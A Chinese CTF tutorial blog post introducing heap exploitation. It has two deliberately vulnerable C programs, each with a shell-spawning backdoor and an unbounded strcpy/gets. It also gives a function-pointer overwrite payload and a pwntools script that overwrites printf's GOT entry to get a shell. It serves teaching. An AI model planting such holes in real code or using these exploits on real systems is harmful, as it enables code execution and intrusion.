首页 > 其他分享 >CTF-pwn-堆入门-day1

CTF-pwn-堆入门-day1

时间:2023-11-03 18:11:35浏览次数:42  
标签:fp malloc struct day1 CTF printf pwn include name

什么是堆

 

堆是可以根据运行时的需要进行动态分配和释放的内存,大小可变 由程序员决定

malloc new\free delete

栈用于函数分配固定大小的局部内存 由程序决定

 

但是为什么不都在栈上进行函数调用,反而要去对上进行调用

 

堆的实现重点关注内存块的组织和管理方式,尤其是空闲内置块:(分地)

如何提高分配和释放效率

如何降低碎片化,提高空间利用率

 

堆溢出栈溢出原理相同,发生在缓冲区上

一个发生在堆上,一个发生在栈上

 

heap0_fd
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
​
struct data{     //声明了data,fp两个struct
    char name[64];
};
​
struct fp{
    int (*fp)();
};
​
void backdoor(){  //获取shell
    system("/bin/sh");
}
​
void info(){
    printf("this is easy heap0!!!");
}
​
int main(int args , char **argv){
    struct data *d;    //定义了两个struct指针
    struct fp *f;
​
    d = malloc(sizeof(struct data));   //为struct在堆上分配的地址
    f = malloc(sizeof(struct fp));
    f -> fp = info; //   把info函数名给fp
​
    printf("data is at %p,fp is at %p\n",d,f); //打印data和fp的内存地址
​
    strcpy(d->name,argv[1]);   //把用户终端输入的值赋给name    在name空间造成溢出
//或者用 gets(d->name);
​ f->fp(); //再执行fp()即info() }

 

我们的目标明显就是修改程序的执行流,执行到backdoor

./heap0 AAAA 运行程序,x/64wx data_addr 可以看到此时堆上内存为

data__64 *fp  
AAAA   &info    

而data并没有限制输入长度,所以当我们输入过长的payload时,就会造成溢出到fp指针出,而fp中存储的是下一个执行函数的地址,那么如果我们将该地址覆盖,就能控制程序的执行流

payload = b'a'*80 + p64(elf.sym['backdoor'])

首先是结构体在堆内的存储方式,指针的作用,堆上分配的内存大小

 

 

heap1_struct

了解堆上的数据管理

a = malloc(16) 
b = malloc(24)
c = malloc(10)
d = malloc(16)

heap上分配的地址不连续

 a_16 b_24 c_10 d_16  
                   
                   

a_16_addr 我们得到的地址是 具有数据存储的内存块的起始地址,而不是空块的地址

 

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
​
struct internet{
    int priority;
    char *name;
};
​
void backdoor(){
    system("/bin/sh");
}
​
int main(){
    struct internet *i1,*i2,*i3;
    i1 = malloc(sizeof(struct internet));
    i1->priority = 1;
    i1->name=malloc(8);
​
    i2 = malloc(sizeof(struct internet));
    i2 -> priority = 2;
    i2 -> name = malloc(8);
    
    gets(i1->name);
    gets(i2->name);
    printf("usr1's name is %s ,id is %d\n",i1->name,i1->priority);
    printf("usr2's name is %s ,id is %d\n",i2->name,i2->priority);
​
}

 

 

internet结构体

usr18 i1->name usr28 i2->name   
priority_int *name       priority_int *name          
  aaaa aaaa aaaa aaaa aaaa printf_got   backdoor_addr      

堆上创建的结构体如上图所示

修改printf的got表

指针的危险性

 

from pwn import *
pwnfile = './heap1'
elf = ELF(pwnfile)
io = process(pwnfile)
​
backdoor = elf.sym['backdoor']
printf_got = elf.got['printf']
​
#gdb.attach(io)
#pause()
payload = b'a'*40 + p64(printf_got)
io.sendline(payload)
​
payload = p64(backdoor)
io.sendline(payload)
io.interactive()

 
 

 

 



标签:fp,malloc,struct,day1,CTF,printf,pwn,include,name
From: https://www.cnblogs.com/37blog/p/17808141.html

相关文章

  • [SUCTF 2019]CheckIn
    题目给出了源码,如下。<!DOCTYPEhtml><htmllang="en"><head><metacharset="UTF-8"><metaname="viewport"content="width=device-width,initial-scale=1.0"><metahttp-equiv="......
  • [GXYCTF2019]BabyUpload
    题目附件如下。<?phpsession_start();echo"<metahttp-equiv=\"Content-Type\"content=\"text/html;charset=utf-8\"/><title>Upload</title><formaction=\"\"method=\"post\"enctype=\......
  • [MRCTF2020]Ez_bypass
    打开题目后得到源码,可以使用PHP代码在线格式化一下,方便阅读。源码如下。$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';if(isset($_GET['gg'])&&isset($_GET['id'])){$id=$_GET['id'];$gg=$_GET['gg'];if(md5($id)==......
  • 【noip赛前20天冲刺集训 day16】星空遗迹
    Description在石头剪刀布中,一共有三种手势:\(R(Rock),P(Paper),S(Scissors)\),其中\(R\)能赢\(S\),\(S\)能嬴\(P\),\(P\)能赢\(R\)。现在,我们定义\(w(x,y)\)是\(x\)和\(y\)中获胜的手势,特别地,如果\(x\)和\(y\)相同(也就是平局),那么\(w(x,y)\)也和\(x,y\)均......
  • 在一个简单的pwn题目中探究执行系统调用前堆栈的对齐问题
    题目介绍:在输入AAAAAAAAAAAAAAAAAAAAAAAAA后,程序会打开一个shell,这是为什么?字符串中的A能否更换为@?1.程序接收输入AAAAAAAAAAAAAAAAAAAAAAAAA获得shell的原理:.text:0000000140001584publicvuln.text:0000000140001584vulnprocnear......
  • CTFshow Reverse 批量生产的伪劣产品 wp
    1.apk文件,jadx-gui打开2.先看AndroidManifest.xml文件,找关键类找到两个关键的类:“appinventor.ai_QA629A242D5E83EFA948B9020CD35CB60.checkme.a"和”.Screen1“2.在第一个类中直接找到flagctfshow{群主最爱36D} ......
  • [ZJCTF 2019]NiZhuanSiWei
    打开题目,得到一段源码,如下。<?php$text=$_GET["text"];$file=$_GET["file"];$password=$_GET["password"];if(isset($text)&&(file_get_contents($text,'r')==="welcometothezjctf")){echo"<......
  • [MRCTF2020]你传你呢
    打开题目如下。本题有坑点,就算是使用mspaint随意生成一个jpg图片进行上传,仍然提示:我扌yourproblem?。后面查看了wp,发现是对上传内容的大小存在限制。经尝试,使用php、phtml、php5等多种后缀都无法绕过检测,但可以上传.htaccess文件(.htaccess是Apache使用的一种配置......
  • CTFshow Reverse 签退 wp
    1.使用uncompyle把re3.pyc反编译为re3.pyuncompyle6re3.pyc>re3.py 查看re3.py文件,并分析源码(见注释)查看代码#uncompyle6version3.6.4#Pythonbytecode2.7(62211)#Decompiledfrom:Python2.7.15(v2.7.15:ca079a3ea3,Apr302018,16:30:26)[MSCv.1500......
  • 每日一练 | 华为认证真题练习Day124
    1、OSPFv3使用哪个区域号标识骨干区域?A.0B.3C.1D.22、某路由器OSPFv3邻接关系如下,则本路由器是ABR。A.对B.错3、IPv6地址中不包括下面哪种类型的地址?A.任播地址B.广播地址C.组播地址D.单播地址4、如果一个网络的网络地址为10.1.1.0/30,那么它的广播地址是()?A.10.1.1.4B.10......